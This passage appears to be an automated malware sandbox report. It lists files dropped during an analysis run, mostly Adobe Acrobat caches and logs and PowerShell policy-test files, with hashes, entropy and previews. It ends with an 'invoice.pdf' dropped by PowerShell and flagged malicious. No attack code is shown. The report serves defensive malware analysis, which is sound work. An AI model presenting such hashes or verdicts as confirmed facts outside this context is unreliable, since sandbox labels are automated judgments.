Entropy (8bit):	5.257361468069248
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJfshHHrPeUkwRe9:YvXKXuSSSD4nc3OGUUUkee9
MD5:	57577634DEA9A519457DD3D4DAE1A01A
SHA1:	17868EC99FF0B86804F219A23649718BFB40DE0B
SHA-256:	EF89451498D1291C9A24E99EFF7AE3224FA4B9A5299D9979F5F6BC9335E8C80D
SHA-512:	9D7848FC315578AE3F59DEED6FC2BC819FFD0BDB8164724358F8034175BDC5272E8002EB0DFC5F0C9D1C3E3320040EDA20AA3BBDE2DB870448439FDA8C40388D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.261927892371166
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHOSWVSDUJnnZiQ0Y+xoAvJTqgFCrPeUkwRe9:YvXKXuSSSD4nc3OGTq16Ukee9
MD5:	E05ABE31392DAD7B1F2BA033FF3E6E6E
SHA1:	FD5E02050A17EC6C23BFA51340D17B035F79438D
SHA-256:	F8E74467EAAFCF67D2DBDA50E855E5B004AD58D0296366C7EE8E8D10CBA7BF9E
SHA-512:	412F33877BE8B8C7B88C3FE60C2C1C00187838B863793DE5EE54F9745F3933AFE1D85A4A7504568952A0A8BEAF6A81870895489CBF1B1F03DD86C866F6900588
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0bab7306-73b5-42de-9c2d-e13204bba3a1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950363484,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136111740345765
Encrypted:	false
SSDEEP:	48:YY31+mVWLDT1bVuVpDqpcrNBofnXUqMvQ5buw9xeul0J:131+mVWLDT1b8VpqpcrNB0k7vQ5b3xep
MD5:	15D861F3E7BE65F71BABD1FD5EAC00AB
SHA1:	46BEAFBCC7E866A3F51A8EEFA3572FC8ABC40B2D
SHA-256:	A7AF7771E9B90A76EFCCD2BA651EA048A458E649E1A5A6EB6A03AAD63E352A52
SHA-512:	DF42EBB64AC58BF7079C1E7DB535C1F1EAF1A418E22545022BE88619DDB94833D525BAB656A5A918EE37A937BCD093B8B54B3E7DB18C3725FAF8A6F919EC0698
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"dce231a044434a73f952ae74856d6e4c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736772913000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ccaee17058e1206f9bd3bec74943b70f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736772913000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"950d5d299e8b5d1e8a0282efd33cef25","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736772913000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"8eea9758c98492000ef8771f01d797eb","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736772913000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c40c445414be49fb01e2365af3cf5ed4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736772913000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d569151315e7bd9a4f12fa1cfb1b411c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1457432658669995
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursnBiYfRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIU2:TFl2GL7msHrXc+XcGNFlRYIX2v3kot
MD5:	9B030C6A1C74B8E548ACC969ABB01A4E
SHA1:	3EA51CB0A23E3CE8014CB3717E8360909E12775A
SHA-256:	F36227CFD59CC6001979C9E11DBA09E28A4A94BF620E691B14202456760CC828
SHA-512:	283D047ADA91CDA783D381F87D5CA7FC11E53BC0CEA23E2082400D483A4EBCF9FC885ECAE8DA2E91842792C3B00546CF97D1A86730338BEE75325859FFC79800
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5522729415198986
Encrypted:	false
SSDEEP:	24:7+tfBiYfUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxufqLxxM:7MP8Xc+XcGNFlRYIX2vHfqVl2GL7msy
MD5:	3D0BB85F41EA697FCF609CAC248DCA9E
SHA1:	E35DF8348031C2D3D6056BE1E3AD8254ED314FD6
SHA-256:	3D407CE6B85B032A097C23051352BF9877C86C5E420FFA5DE887AED318D47245
SHA-512:	E23EFDA266BBBA2C1CB4568F72113259A7EEF9D45385AD2DFD660C95B7A04EA62B8F14A2DFE8581E17D315879E46988C657BE7E1488A706CBC14B585CB8D4ED4
Malicious:	false
Preview:	.... .c.......H...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgBWIcPstCU+FAu2ukt/SRT/ZN6Yyu:6a6TZ44ADEBWNPUoFAuHhUK
MD5:	4553EF9A1D525F36EBF56EBF43DF692A
SHA1:	37665F11CC4D504084035AD071F41E8788F295B2
SHA-256:	67FD981F48D8E7FF2D18E2F557BCF5128E67B0D6FF0FFB9A1189497CCD7EDBB0
SHA-512:	4C6AD71E715706557FC7571932D6B88CCAE7E762191A7BF17B057C4F8707C76AD0D2E7CF0A3F21D98963ED6F82F013E3BF8A88D0A1792995EB4E0FC368309AAE
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI3dea6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.518261198325562
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jCl6I:Qw946cPbiOxDlbYnuRKTjlI
MD5:	B8DBDF9A55CC5231B2A16FDA03BBF000
SHA1:	9FF84E3C535A300B602CBBC259C28513B9745BB8
SHA-256:	256ACCFD33FF4997F58E90D6A4A572D8BD0F0FA7B35D917B648AC10823A998C7
SHA-512:	09E82F0F31428DBD2A79F252CDED7ED83231597AA4BA7222F813CB8CA078ADD1CC55760053BECFE0DF9435B616B18AB3013F7F1B9CC0551B474A8AEC10D0FEEB
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .0.7.:.5.5.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_na5wmdky.lk1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rz4rchik.bc2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 07-55-09-460.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3681569207855215
Encrypted:	false
SSDEEP:	384:4XzQhQQQZQHQKQ/bQyQC+QHQhQGQTzKzUzv94MEMaMW/x/1/U/v/rlUe7a7w7m6R:4DwT4cn2bDD+a69aeg7qvpfpd8XZdWUX
MD5:	196E11686DC01F05C7E6CFB9BA51EF27
SHA1:	2068BA3B35057BE2AD1E20873DD75028DAB361DE
SHA-256:	34A3E19155C90B82B7F6F8ADA4BD514832D82E007E271DFFEFAC6254E34CA320
SHA-512:	421402F29367349ADD73DAACB1BDD699FEB938CF99682B7C870A97027044ED99FEC38BB90D4FCF473F92261EC1CCA705CD5E4118F2AA39A02E6C7F14BEB8BEC6
Malicious:	false
Preview:	SessionID=72d06d80-13d8-4e6c-9aba-8fc10f925e8d.1736772909469 Timestamp=2025-01-13T07:55:09:470-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=72d06d80-13d8-4e6c-9aba-8fc10f925e8d.1736772909469 Timestamp=2025-01-13T07:55:09:473-0500 ThreadID=7588 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=72d06d80-13d8-4e6c-9aba-8fc10f925e8d.1736772909469 Timestamp=2025-01-13T07:55:09:473-0500 ThreadID=7588 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=72d06d80-13d8-4e6c-9aba-8fc10f925e8d.1736772909469 Timestamp=2025-01-13T07:55:09:473-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=72d06d80-13d8-4e6c-9aba-8fc10f925e8d.1736772909469 Timestamp=2025-01-13T07:55:09:473-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.405207447903534
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbdcb+I0mcb1:V3fOCIdJDeU0p
MD5:	03544EB538322CC881A270E44A0957A2
SHA1:	586BDA47FE38A1DAA642E172756585EE5F15A969
SHA-256:	961A9082CE57AFF59E7D994DFEEEB5F37E7C271C6A0C76CD309BFB7F8A3E053A
SHA-512:	57EEEE978D579DC481F48B765E900362AAE3853B28F01C1C5037DCD3FE4278C5424EEE9BD17664461B43C8581EBE751DCE9ACB80262B801DEFBB87B4E17704DF
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\01ce1e05-9793-4100-86ac-5e27b304b614.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\127e154e-b855-49b9-af87-5903d8adbccd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\63df1b71-fed9-42b7-888b-90aa64f25855.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d557ea8c-c1c3-4773-8ef8-9e2de95e6f7c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
